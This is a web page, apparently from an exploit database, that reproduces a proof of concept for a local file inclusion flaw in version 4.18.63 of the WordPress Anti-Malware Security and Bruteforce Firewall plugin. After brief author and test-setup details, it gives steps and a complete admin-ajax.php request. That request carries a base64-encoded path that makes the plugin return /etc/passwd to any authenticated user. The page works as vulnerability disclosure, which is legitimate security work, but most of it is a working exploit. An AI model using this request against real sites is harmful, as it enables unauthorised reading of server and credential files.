Wordpress plugin antimalware security and bruteforce firewall 4.18.63 local file inclusion (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-03-28 | Type : webapps | Platform : php
This exploit / vulnerability Wordpress plugin antimalware security and bruteforce firewall 4.18.63 local file inclusion (poc) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Wordpress Anti-Malware Security and Bruteforce Firewall - Local File Inclusion
# Google Dork: N/A
# Date: 03 / 26 / 2019
# Exploit Author: Ali S. Ahmad (S4R1N)
# Vendor Homepage: N/A
# Software Link: https://wordpress.org/plugins/gotmls/
# Version: (Version 4.18.63)
# Tested on: Debian GNU/Linux 9 (Docker)
# CVE : N/A
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Discovered By: Ali S. Ahmad (S4R1N) 03 / 26 / 2019
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A local file inclusion bug was discovered on the Wordpress Anti-Malware Security and Bruteforce Firewall (Version 4.18.63) plugin.
This bug affects the file scan functionality of the plugin and can be exploited by any authenticated user (from subscriber to admin) simply by modifying the GOTMLS_scan= with a base64 encoded path to the file the attacker is trying to read. (example : GOTMLS_scan=L2V0Yy9wYXNzd2Q)
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Tools used :
Attacker OS : Fedora 29
Victim OS : Debian GNU/Linux 9 (running on docker)
Manual Testing tool : Burp Repeater / Browser
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Proof of Concept (PoC):

Step 1 - Log into Wordpress instance
Step 2 - Go to /wp-admin/admin-ajax.php?action=GOTMLS_scan&GOTMLS_mt=32fd564ad6974510e6bcd22815853f3d&mt=1553627072.7669&page=GOTMLS-settings&GOTMLS_scan=<base64 encoded file path>

URL : the following should yeild the contents of /etc/passwd /wp-admin/admin-ajax.php?action=GOTMLS_scan&GOTMLS_mt=32fd564ad6974510e6bcd22815853f3d&mt=1553627072.7669&page=GOTMLS-settings&GOTMLS_scan=L2V0Yy9wYXNzd2Q